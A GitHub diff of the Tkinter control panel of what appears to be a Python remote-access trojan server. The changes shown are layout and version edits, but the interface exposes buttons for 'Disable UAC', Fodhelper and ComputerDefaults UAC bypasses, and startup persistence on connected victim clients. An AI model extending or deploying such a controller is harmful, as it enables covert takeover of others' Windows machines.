1-
21from threading import Thread
32from socket import socket ,AF_INET ,SOCK_STREAM
43from pickle import loads ,dumps
@@ -10,7 +9,7 @@ from os.path import exists,dirname,join
109from ctypes import windll
1110from time import sleep
1211__author__ = "Vahab Programmer https://Github.com/Vahab-Programmer"
13- __version__ = "0.0.1 "
12+ __version__ = "0.0.2 "
1413commands_list = {}
1514def save_commands ()-> None :
1615 data = dumps (commands_list )
@@ -68,7 +67,7 @@ class RunServer(object):
6867 current .append (tmp )
6968 yield "" .join (current )
7069 def __bar_motion (self )-> None :
71- for frame in self .__infinity_animation ("This App Created By Vahab Programmer Github Page: https://github.com/Vahab-Programmer Disclaimer Warning! This Program Is For Educational Purposes only!" ,width = 120 ):
70+ for frame in self .__infinity_animation ("This App Created By Vahab Programmer Github Page: https://github.com/Vahab-Programmer Disclaimer Warning! This Program Is For Educational Purposes only!" ,width = 150 ):
7271 try :self .bar .set (frame )
7372 except RuntimeError :break
7473 sleep (0.1 )
@@ -323,10 +322,15 @@ class RunServer(object):
323322 root = Tk ()
324323 root .iconbitmap (".\\ icon.ico" )
325324 self .root = root
326- root .title ("Server V1" )
327- root .geometry ("935x435" )
325+ root .title ("Server V2" )
326+ root .minsize (935 ,435 )
327+ root .columnconfigure (list (range (5 )),weight = 1 )
328+ root .columnconfigure (3 ,weight = 0 )
329+ root .columnconfigure (list (range (2 )),weight = 0 )
330+ root .rowconfigure (list (range (7 )),weight = 1 )
331+ root .rowconfigure (3 ,weight = 0 )
332+ root .rowconfigure (0 ,weight = 0 )
328333 self .__center (root )
329- root .resizable (False ,False )
330334 root .protocol ("WM_DELETE_WINDOW" ,self .__close )
331335 self .bar = StringVar (root )
332336 self .command = StringVar (root )
@@ -342,10 +346,10 @@ class RunServer(object):
342346 self .processor .set ("Processor:" )
343347 self .isadmin .set ("Is User An Admin:" )
344348 self .username .set ("Username:" )
345- Label (root ,textvariable = self .bar ,font = ("Tahoma" ,7 ),width = 155 ,relief = "raised" ).grid (row = 0 ,column = 0 ,columnspan = 7 )
346- Label (root ,text = "Client's" ,font = ("Tahoma" ,12 )).grid (row = 1 ,column = 0 )
347- Label (root ,text = "Output" ,font = ("Tahoma" ,12 )).grid (row = 1 ,column = 2 )
348- Label (root ,text = "Command's" ,font = ("Tahoma" ,12 )).grid (row = 1 ,column = 5 )
349+ Label (root ,textvariable = self .bar ,font = ("Tahoma" ,7 ),width = 155 ,relief = "raised" ).grid (row = 0 ,column = 0 ,columnspan = 7 , sticky = "NEW" )
350+ Label (root ,text = "Client's" ,font = ("Tahoma" ,12 ), relief = "raised" ).grid (row = 1 ,column = 0 , columnspan = 2 , sticky = "NSEW" )
351+ Label (root ,text = "Output" ,font = ("Tahoma" ,12 ), relief = "raised" ).grid (row = 1 ,column = 2 , columnspan = 2 , sticky = "NSEW" )
352+ Label (root ,text = "Command's" ,font = ("Tahoma" ,12 ), relief = "raised" ).grid (row = 1 ,column = 4 , columnspan = 2 , sticky = "NSEW" )
349353 self .lista = Listbox (root ,width = 35 ,height = 15 )
350354 self .commands = Listbox (root ,width = 35 ,height = 15 )
351355 self .__load_commands ()
@@ -356,36 +360,36 @@ class RunServer(object):
356360 self .textbox = Text (root ,yscrollcommand = sb1 .set ,height = 15 ,width = 56 )
357361 sb1 .config (command = self .textbox .yview )
358362 self .lista .config (yscrollcommand = sb .set )
359- self .lista .grid (row = 2 ,column = 0 ,pady = 10 )
360- self .commands .grid (row = 2 ,column = 5 )
361- self .textbox .grid (row = 2 ,column = 2 )
362- sb .grid (row = 2 ,column = 1 ,ipady = 96 )
363- sb1 .grid (row = 2 ,column = 3 ,ipady = 96 )
364- sb2 .grid (row = 2 , column = 6 , ipady = 96 )
363+ self .lista .grid (row = 2 ,column = 0 ,columnspan = 2 , sticky = "NSEW" )
364+ self .textbox .grid (row = 2 ,column = 2 , sticky = "NSEW" )
365+ self .commands .grid (row = 2 ,column = 4 , sticky = "NSEW" )
366+ sb .grid (row = 2 ,column = 1 ,sticky = "NSE" )
367+ sb1 .grid (row = 2 ,column = 3 ,sticky = "NSEW" )
368+ sb2 .grid (row = 2 , column = 5 , sticky = "NSW" )
365369 command = Entry (root ,textvariable = self .command ,width = 75 )
366- command .grid (row = 3 ,column = 2 )
370+ command .grid (row = 3 ,column = 2 , columnspan = 2 , sticky = "NSEW" )
367371 command .bind ("<Return>" ,self .__send_command )
368372 self .commands .bind ("<Return>" ,self .__execute_command )
369373 self .lista .bind ("<Return>" , self .__select )
370- Button (root ,text = "Delete Client" ,width = 20 ,command = self .__rem_client ).grid (row = 3 ,column = 0 )
371- Button (root ,text = "Send Command" ,width = 20 ,command = self .__send_command ).grid (row = 4 ,column = 2 ,sticky = "w " )
372- Button (root ,text = "Disable UAC" ,width = 20 ,command = lambda :self .__send_command (cmd = "lua" )).grid (row = 5 ,column = 2 ,sticky = "w " )
373- Button (root ,text = "Fodhelper Bypass" ,width = 20 ,command = lambda :self .__send_command (cmd = "fodhelper" )).grid (row = 4 ,column = 2 ,sticky = "e " )
374- Button (root ,text = "ComputerDefaults Bypass" ,width = 20 ,command = lambda :self .__send_command (cmd = "computerdefaults" )).grid (row = 4 ,column = 2 )
375- Button (root ,text = "Copy To Startup" ,width = 20 ,command = lambda :self .__send_command (cmd = "cys" )).grid (row = 5 ,column = 2 )
376- Button (root ,text = "Exit" ,width = 20 ,command = self .__exit ).grid (row = 5 ,column = 2 ,sticky = "e " )
377- Button (root ,text = "Select" ,width = 20 ,command = self .__select ).grid (row = 4 ,column = 0 )
378- Button (root ,text = "Refresh" ,width = 20 ,command = self .__refresh ).grid (row = 5 ,column = 0 )
379- Button (root ,text = "Send Command" ,width = 20 ,command = self .__execute_command ).grid (row = 3 ,column = 5 )
380- Button (root ,text = "Change Command" ,width = 20 ,command = self .__change_command ).grid (row = 4 ,column = 5 )
381- Button (root ,text = "Add New Command" ,width = 20 ,command = self .__add_command ).grid (row = 5 ,column = 5 )
382- Button (root ,text = "Delete Command" ,width = 20 ,command = self .__del_command ).grid (row = 6 ,column = 5 )
383- Label (root ,textvariable = self .hostname ).grid (row = 6 ,column = 2 ,sticky = "w " )
384- Label (root ,textvariable = self .release ).grid (row = 6 ,column = 2 )
385- Label (root ,textvariable = self .machine ).grid (row = 6 ,column = 2 ,sticky = "e " )
386- Label (root ,textvariable = self .username ).grid (row = 6 ,column = 0 ,sticky = "w" , ipadx = 30 )
387- Label (root ,textvariable = self .isadmin ).grid (row = 7 ,column = 0 ,sticky = "w" , ipadx = 30 )
388- Label (root ,textvariable = self .processor ).grid (row = 7 ,column = 2 , sticky = "w " )
374+ Button (root ,text = "Delete Client" ,width = 20 ,command = self .__rem_client ).grid (row = 3 ,column = 0 , columnspan = 2 , sticky = "NSEW" )
375+ Button (root ,text = "Send Command" ,width = 20 ,command = self .__send_command ).grid (row = 4 ,column = 2 ,sticky = "NSW " )
376+ Button (root ,text = "Disable UAC" ,width = 20 ,command = lambda :self .__send_command (cmd = "lua" )).grid (row = 5 ,column = 2 ,sticky = "NSW " )
377+ Button (root ,text = "Fodhelper Bypass" ,width = 20 ,command = lambda :self .__send_command (cmd = "fodhelper" )).grid (row = 4 ,column = 2 ,columnspan = 2 , sticky = "NSE " )
378+ Button (root ,text = "ComputerDefaults Bypass" ,width = 20 ,command = lambda :self .__send_command (cmd = "computerdefaults" )).grid (row = 4 ,column = 2 , columnspan = 2 , sticky = "NS" )
379+ Button (root ,text = "Copy To Startup" ,width = 20 ,command = lambda :self .__send_command (cmd = "cys" )).grid (row = 5 ,column = 2 , columnspan = 2 , sticky = "NS" )
380+ Button (root ,text = "Exit" ,width = 20 ,command = self .__exit ).grid (row = 5 ,column = 2 ,columnspan = 2 , sticky = "NSE " )
381+ Button (root ,text = "Select" ,width = 20 ,command = self .__select ).grid (row = 4 ,column = 0 , columnspan = 2 , sticky = "NSEW" )
382+ Button (root ,text = "Refresh" ,width = 20 ,command = self .__refresh ).grid (row = 5 ,column = 0 , columnspan = 2 , sticky = "NSEW" )
383+ Button (root ,text = "Send Command" ,width = 20 ,command = self .__execute_command ).grid (row = 3 ,column = 4 , columnspan = 2 , sticky = "NSEW" )
384+ Button (root ,text = "Change Command" ,width = 20 ,command = self .__change_command ).grid (row = 4 ,column = 4 , columnspan = 2 , sticky = "NSEW" )
385+ Button (root ,text = "Add New Command" ,width = 20 ,command = self .__add_command ).grid (row = 5 ,column = 4 , columnspan = 2 , sticky = "NSEW" )
386+ Button (root ,text = "Delete Command" ,width = 20 ,command = self .__del_command ).grid (row = 6 ,column = 4 , columnspan = 2 , sticky = "NSEW" )
387+ Label (root ,textvariable = self .hostname ).grid (row = 6 ,column = 1 ,sticky = "NSEW " )
388+ Label (root ,textvariable = self .release ).grid (row = 6 ,column = 2 , sticky = "NSEW" )
389+ Label (root ,textvariable = self .machine ).grid (row = 6 ,column = 2 ,columnspan = 2 , sticky = "NSEW " )
390+ Label (root ,textvariable = self .username ).grid (row = 6 ,column = 0 ,sticky = "NSEW" )
391+ Label (root ,textvariable = self .isadmin ).grid (row = 7 ,column = 0 ,sticky = "NSEW" )
392+ Label (root ,textvariable = self .processor ).grid (row = 7 ,column = 1 , columnspan = 3 , sticky = "NSEW " )
389393 self .__bar_handle .start ()
390394 self .__handle .start ()
391395 root .mainloop ()
0 commit comments